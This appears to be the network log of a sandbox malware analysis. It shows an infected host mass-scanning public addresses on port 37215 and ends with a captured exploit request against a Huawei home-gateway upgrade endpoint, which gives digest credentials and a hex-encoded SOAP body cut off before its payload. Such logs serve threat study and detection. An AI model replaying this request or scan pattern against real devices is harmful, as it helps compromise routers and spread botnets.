Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.245.144.135:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.7.123.100:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.15.47.253:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.183.132.81:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 163.98.100.231:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.145.196.151:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 170.68.156.59:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.102.57.118:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.189.120.137:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 42.88.115.24:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 198.59.102.193:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.30.140.131:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.84.194.246:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 210.95.223.139:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.37.176.1:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.240.233.234:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.43.122.94:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 107.71.89.123:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.103.132.220:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.66.231.176:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.222.213.96:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.50.154.212:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.181.139.104:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.240.104.101:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.98.235.131:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.96.34.47:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.162.84.249:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.91.200.66:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.148.255.61:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 136.114.60.196:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.65.179.28:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 154.127.74.3:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.203.149.34:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 188.157.140.238:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.178.94.171:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.26.48.200:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.246.8.72:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 183.227.14.205:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.141.49.56:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.237.91.33:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.216.73.67:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.204.245.229:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 71.231.100.191:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.50.33.13:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 23.167.99.160:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.119.3.63:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.201.195.117:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.182.106.95:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.154.194.70:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.58.90.47:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.115.217.226:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.156.240.21:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.36.154.9:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.229.136.154:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.48.216.90:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 66.121.100.254:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.200.2.254:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 199.30.7.12:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.225.135.226:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.103.202.55:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.85.185.211:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.210.18.74:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.114.230.180:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.214.249.93:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 2.193.246.144:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.217.13.190:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 165.191.81.152:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.56.200.105:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.170.191.64:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.146.221.229:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.175.183.4:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.189.197.71:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.56.240.90:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.22.105.241:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 89.175.92.70:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.197.52.120:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.226.236.14:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.147.74.170:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.166.102.227:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.145.112.151:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.185.48.66:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 75.124.67.231:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.74.211.74:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.77.20.173:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 39.34.77.150:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 180.167.85.100:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.56.161.255:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.236.51.119:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 219.223.246.231:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 112.38.122.218:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.100.96.210:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 171.42.141.175:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.50.246.168:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.57.54.115:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.97.131.105:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 118.221.211.10:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.28.169.16:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.235.65.112:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.190.204.213:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.69.30.246:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.39.69.220:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.113.245.131:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.177.90.59:37215
Source: global traffic	TCP traffic: 192.168.2.14:35358 -> 103.238.235.163:56999
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.230.179.65:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.212.8.4:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.210.233.180:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 24.187.11.12:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.162.113.93:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.240.252.39:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.200.93.50:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.153.10.199:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 121.19.214.231:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.66.128.192:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.162.24.213:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.169.172.11:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.4.243.8:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.205.197.78:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.207.88.203:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.8.50.175:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.193.234.33:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.71.67.19:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.221.62.228:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.91.117.232:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.185.144.145:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 213.238.62.174:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.237.235.214:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.171.228.140:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 164.203.219.248:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 44.198.35.6:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 40.67.80.89:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.128.185.231:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.192.102.116:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 97.199.1.136:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.133.155.18:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 196.199.13.73:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.23.233.170:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.169.134.123:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.147.141.155:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.138.1.95:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.156.185.249:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.242.9.9:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.102.168.109:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 207.13.138.47:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.77.249.187:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.183.187.124:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 84.151.50.160:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.82.107.170:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.110.171.196:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.163.217.192:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.161.30.225:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.87.31.205:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.24.209.215:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 144.51.144.54:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 87.113.114.36:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.222.232.23:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 164.20.73.12:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.224.173.163:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.188.203.25:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.1.23.15:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.163.137.132:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.220.142.24:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.1.49.155:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 154.135.59.170:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.112.194.120:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.20.158.163:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.163.228.211:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 143.207.9.115:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.106.188.128:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.101.238.68:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.115.138.203:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.201.177.7:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.215.226.186:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.41.125.194:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.29.225.80:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 78.67.207.134:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 149.234.172.24:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 208.188.227.234:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.231.206.211:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.127.197.110:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 123.29.244.205:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.238.89.138:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.202.94.88:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.35.147.20:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.14.45.56:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.138.60.125:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.157.202.122:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.50.111.252:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.195.89.110:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.52.68.112:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.140.214.238:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 50.105.210.186:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.136.40.229:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.55.195.165:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.22.91.186:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.82.166.146:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.7.192.223:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.178.98.18:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.12.56.133:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.245.55.144:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.253.109.200:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.181.182.128:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.245.221.196:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.76.15.2:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 48.9.88.210:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.11.120.78:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.129.181.146:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.174.193.202:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 32.86.32.55:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.149.59.32:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 18.51.190.110:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.93.14.129:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.89.67.240:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.178.18.169:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.245.245.77:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.109.134.120:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 120.3.86.199:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.72.215.189:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.71.7.137:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.81.127.242:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.118.211.9:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.216.84.14:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 77.79.131.118:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.181.78.169:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 34.111.57.226:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.28.212.140:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.18.169.53:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.53.222.120:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 100.171.15.99:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.220.120.196:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 123.228.62.132:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 161.245.2.132:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.180.2.94:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.255.47.59:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.217.76.226:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 151.46.202.37:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.62.60.217:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.214.240.103:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 86.18.37.184:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.214.248.166:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.195.129.151:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.33.176.5:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.246.7.205:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.91.136.10:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.228.203.36:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 218.226.100.89:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.161.178.134:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 35.123.133.206:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 158.42.132.93:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.208.187.86:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.160.218.197:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 78.225.111.106:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.212.217.65:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 23.94.128.249:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.89.187.111:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.247.123.24:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.16.242.163:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.70.160.54:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.46.5.60:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.175.181.147:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 76.77.11.86:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.191.145.33:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.225.102.147:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.135.27.159:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.58.87.200:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.38.42.196:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.234.224.198:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 23.173.38.252:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.33.230.31:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.76.14.84:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.219.199.86:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.73.41.164:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.202.57.167:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.109.34.164:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.201.23.158:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 211.78.130.164:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 169.132.59.26:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.167.1.18:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 65.126.194.229:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.222.247.13:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.113.19.213:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.75.226.1:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.23.196.255:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.25.92.177:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.95.168.143:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.177.172.89:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.202.9.150:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.112.58.211:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.95.98.110:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.189.155.31:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 209.129.68.133:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.16.127.100:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.42.155.100:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.163.145.48:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.146.98.163:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.232.46.159:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 158.19.176.120:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 12.228.104.105:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.37.118.249:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.24.36.152:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.228.10.169:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.167.209.235:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.247.137.48:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.1.112.149:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 208.102.137.140:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 189.252.252.122:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 79.230.170.128:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.156.203.88:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.56.73.116:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.224.203.71:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.164.83.198:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.172.135.161:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.50.37.238:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.89.20.23:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.197.35.227:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.200.6.117:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 209.108.139.20:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.120.166.175:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 154.93.222.15:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 93.91.184.242:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.59.14.149:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 35.210.95.161:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.83.146.198:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.68.175.231:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.145.120.11:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.166.18.31:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.242.251.98:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.78.51.161:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 187.58.135.175:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.163.199.37:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.36.23.142:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.38.254.96:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 157.101.208.170:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 177.123.195.34:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.167.37.110:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.46.39.95:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 42.16.242.248:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.71.119.50:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 101.161.32.41:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.245.70.22:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 96.196.248.78:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 121.5.225.114:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 190.16.105.176:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 197.198.62.240:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 41.35.228.34:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 136.213.25.136:37215
Source: global traffic	TCP traffic: 192.168.2.14:47767 -> 77.111.31.146:37215

Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 